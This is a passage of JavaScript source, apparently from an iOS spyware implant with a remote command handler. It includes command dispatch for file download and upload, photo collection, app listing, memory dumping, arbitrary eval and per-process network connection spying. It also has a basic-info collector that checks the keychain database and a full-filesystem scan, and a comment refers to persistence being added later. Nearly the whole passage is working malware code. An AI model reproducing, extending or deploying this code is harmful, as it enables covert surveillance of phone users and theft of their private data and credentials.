OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES 